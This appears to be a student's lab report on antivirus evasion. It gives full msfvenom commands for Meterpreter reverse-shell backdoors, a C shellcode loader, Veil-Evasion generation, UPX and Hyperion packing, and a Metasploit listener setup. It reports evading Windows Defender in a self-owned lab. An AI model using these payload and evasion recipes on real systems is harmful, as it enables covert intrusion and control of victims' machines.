20181202 exp3 免杀原理
20181202 exp3 免杀原理
目录
实验内容
-
任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法
-
任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
-
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
基础问题回答
Q1:杀软是如何检测出恶意代码的?
基于特征码的检测
- 特征码是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
- 特征库举例——SNORT
启发式恶意软件检测
- 根据片面特征去推断(看起来像),通常缺乏精确判断依据
- 不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高
基于行为的恶意软件检测
- 基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式
- 让软件运行,记录其行为并分析(杀软的工作原理)
Q2: 免杀是做什么?
使用一些手段,免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现。
Q3:免杀的基本方法有哪些?
改变特征码(改变机器指令)
- 有EXE——加壳:压缩壳、加密壳
- 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
- 有源代码——用其他语言进行重写再编译(veil-evasion)
改变行为
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
实验过程
任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件
- 免杀检测
-
在实验二中使用msf生成了后门程序
20181202_backdoor.exe
,可以使用VirusTotal这个网站对生成的后门程序进行扫描。
-
用VirusTotal扫描后结果如下:72款杀软中51款报出了病毒,不加处理的后门程序能被大部分的杀软检测到
-
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。
- 正确使用msf编码器,生成exe文件
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'
不出现在shellcode中,因为shellcode以'\x00'
为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.128.129 LPORT=5301 -f exe > 20181202exp3_backdoor.exe
-
将其复制到电脑,果不其然会被杀软检测到,我使用的是windows10自带的病毒防护系统,由于频繁的更新和检测其功能足以媲美其他第三地方软件(为了实验我设置了可以在本设备执行)
-
十次编码使用命令:
-i
设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.128.129 LPORT=5301 -f exe > 20181202exp3_backdoor.exe
-
依然会被查杀
-
在VirusTotal扫描后的结果
-
说明简单的多次编码无法实现免杀,继续新的操作
- msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.128.129 LPORT=5301 x > 20181202exp3_backdoor_jar.jar
- 同样被杀软识别了
- msfvenom生成php文件
- 生成php后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.128.129 LPORT=5301 x > 20181202exp3_backdoor_php.php
-
被杀软识别
-
在VirusTotal扫描后的结果,可以看到检测出问题的软件明显少了很多,我用的微软杀软依然可以检测出问题,而百度已经不行了
- 使用veil-evasion生成后门程序及检测
-
用
sudo apt-get install veil-evasion
命令安装Veil。 -
安装完成,输入
veil
指令,进入veil界面 -
用
use evasion
命令进入Evil-Evasion
-
输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
-
设置反弹连接IP,命令为:
set LHOST 192.168.62.22
,注意此处的IP是虚拟机Kali的IP; -
设置端口,命令为:
set LPORT 5205
-
输入
generate
生成文件,接着输入你想要playload的名字:1202_veil -
如上图所示,保存路径为
/var/lib/veil/output/compiled/1202_veil.exe
-
还是被杀软检测了出来
-
在添加排除项后,可以通过tcp连结进行监听
-
在VirusTotal扫描后的结果,还是被大部分产品检测出来了
- 注入Shellcode并执行(嵌入式Shellcode)
-
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.129 LPORT=5301 -f c
用c语言生成一段shellcode;
-
创建一个文件
20175205.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
......
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
使用命令:
i686-w64-mingw32-g++ 20181202exp3.c -o 20181202exp3.exe
编译这个.c文件为可执行文件 -
结果还是会被查杀,再试一下开启监听的情况
- 给payload加壳
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
-
使用压缩壳(UPX)——减少应用体积,如ASPack,UPX
-
使用命令
upx 1202_veil.exe -o 1202_veil_upx.exe
给之前的1202_veil.exe
加个壳得到1202_veil_upx.exe
-
这次竟然没有被微软的杀软查杀出来!加壳竟然有效果
-
在VirusTotal扫描后的结果,证明加壳仍是个偶然现象,依旧会被大量杀软查杀
-
加密壳Hyperion——版权保护,反跟踪,如ASProtect,Armadillo
-
由于下一步是使用其他方法进行面杀,所以就直接把加压缩壳后的文件直接再加加密壳。
-
sudo cp 1202_veil_upx.exe /usr/share/windows-resources/hyperion/
将文件复制到/usr/share/windows-resources/hyperion
目录 -
进入root用户,输入命令
wine hyperion.exe -v 1202_veil_upx.exe 1202_upx_Hyp.exe
进行加壳:
-
成功生成了
1202_Hyp.exe
-
还是没有被微软的杀软发现,但是反向连接的时候一定会被发现
-
好吧,加壳后更容易被检测
-
以及阻止删除后的反向连结测试
- 加密是一种能够有效反击反病毒软件静态扫描功能的方法,因为AV引擎不能立刻爆破它。
- 用msfvenom生成使用一个RC4加密的shellcode,用上述方法,编写一个c程序,并生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.129 LPORT=1202 --encrypt rc4 --encrypt-key thisisakey -f c
- 在Windows本机编译没有被检测出来,但是运行后直接被删除了
- 试试其他方法
-
使用Veil-Evasion的其他载荷生成后门
-
输入命令
veil
启动, 用use evasion
命令进入Evil-Evasion -
输入
list
查看其他可用的有效荷载 -
输入命令
use 13
,这里我选择的是第13个载荷cs/shellcode_inject/virtual.py
-
输入option,查看有效荷载的选项
-
然后运行
generate
生成有效载荷,我们选择4带有shellcode
的有效载荷。这里会要求输入本机的IP:192.168.128.129
和该payload使用的端口,我们设置为1202
端口
-
成功完成以上编译后,编译后的文件被保存在
/var/lib/veil/output/compiled/1202_veil_2.exe
下,同时新生成的 shellcode 的 rc 文件也被保存在了/var/lib/veil/output/handlers/1202_veil_2.rc
下!既然有了rc
文件,那么我们就可以方便的利用MSF 进行调用 -
进入该文件目录下
cd /var/lib/veil/output/handlers/
,使用命令msfconsole -r cs_Veil_5205.rc
-
没有被杀软发现,但依然是链接后直接查杀
-
在VirusTotal扫描后的结果,稍微好一些
任务二:通过组合应用各种技术实现恶意代码免杀
- 如上述的后几种方法
- 使用veil-evasion生成了后门程序1202_veil.exe
- 再使用upx对其进行加壳,生成了1202_veil_upx.exe
- 其实在进行完上述两个步骤之后,已经实现了免杀
- 再使用Hyprion加密壳对1202_veil_upx.exe再次加壳,生成1202_hyp.exe
- 依然可以实现免杀的目的
- 截图在实验步骤中均有体现
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
我使用了一台kali虚拟机作为控制端,和本机win10专业版(杀软全开)作为被控端
-
使用的后门程序是在任务二中提到的
1202_veil_upx.exe
-
需要提前在windows安全中心->"病毒和威胁防护"设置->管理设置->添加或删除排除项添加进后门程序程序,以免在连接时被查杀
-
接下来开始回连:
-
kali中运行如下指令,开始监听:
>msfconsole
>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set LHOST 192.168.128.129
>set LPORT 1202
>exploit
- 在windows主机中运行1202_veil_upx.exe,反向连接成功
实验感想
这次试验确实有很多困难, 相较于之前的实验。难度也更高,消耗的时间也更大,并且有很多坑难以避免,需要反复实践才能解决的。比如在安装veil时。我遇到了中文乱码,安装失败,无法使用程序调用错误等很多情况。在使用hyperion的时候,也同样遇到了wine出错,我找不到文件的情况。同时在技术上如此。漏洞百出的情况下,还要应对杀毒软件的突发状况。会更加增加了实验的困难性,但在耐下心来逐一解决了这些问题之后,确实学习和理解到了很多免杀的实际操作经验,收获颇丰。